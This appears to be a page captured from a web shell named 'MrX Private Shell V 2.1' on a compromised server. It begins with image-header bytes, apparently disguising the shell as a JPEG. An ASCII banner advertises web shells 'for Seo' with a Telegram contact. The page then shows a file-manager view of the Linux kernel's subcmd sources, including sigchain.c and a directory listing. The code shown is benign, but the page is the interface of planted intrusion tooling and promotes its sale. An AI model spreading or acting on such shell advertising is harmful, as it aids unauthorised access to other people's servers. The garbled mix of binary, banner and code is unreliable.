����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
// SPDX-License-Identifier: GPL-2.0
#include <signal.h>
#include "subcmd-util.h"
#include "sigchain.h"
#define SIGCHAIN_MAX_SIGNALS 32
struct sigchain_signal {
sigchain_fun *old;
int n;
int alloc;
};
static struct sigchain_signal signals[SIGCHAIN_MAX_SIGNALS];
static void check_signum(int sig)
{
if (sig < 1 || sig >= SIGCHAIN_MAX_SIGNALS)
die("BUG: signal out of range: %d", sig);
}
static int sigchain_push(int sig, sigchain_fun f)
{
struct sigchain_signal *s = signals + sig;
check_signum(sig);
ALLOC_GROW(s->old, s->n + 1, s->alloc);
s->old[s->n] = signal(sig, f);
if (s->old[s->n] == SIG_ERR)
return -1;
s->n++;
return 0;
}
int sigchain_pop(int sig)
{
struct sigchain_signal *s = signals + sig;
check_signum(sig);
if (s->n < 1)
return 0;
if (signal(sig, s->old[s->n - 1]) == SIG_ERR)
return -1;
s->n--;
return 0;
}
void sigchain_push_common(sigchain_fun f)
{
sigchain_push(SIGINT, f);
sigchain_push(SIGHUP, f);
sigchain_push(SIGTERM, f);
sigchain_push(SIGQUIT, f);
sigchain_push(SIGPIPE, f);
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Build | File | 188 B | 0644 |
|
| Makefile | File | 2.73 KB | 0644 |
|
| exec-cmd.c | File | 4.25 KB | 0644 |
|
| exec-cmd.h | File | 673 B | 0644 |
|
| help.c | File | 6.05 KB | 0644 |
|
| help.h | File | 988 B | 0644 |
|
| pager.c | File | 2.48 KB | 0644 |
|
| pager.h | File | 306 B | 0644 |
|
| parse-options.c | File | 24.18 KB | 0644 |
|
| parse-options.h | File | 10.31 KB | 0644 |
|
| run-command.c | File | 4.94 KB | 0644 |
|
| run-command.h | File | 2.1 KB | 0644 |
|
| sigchain.c | File | 1.01 KB | 0644 |
|
| sigchain.h | File | 237 B | 0644 |
|
| subcmd-config.c | File | 286 B | 0644 |
|
| subcmd-config.h | File | 330 B | 0644 |
|
| subcmd-util.h | File | 1.66 KB | 0644 |
|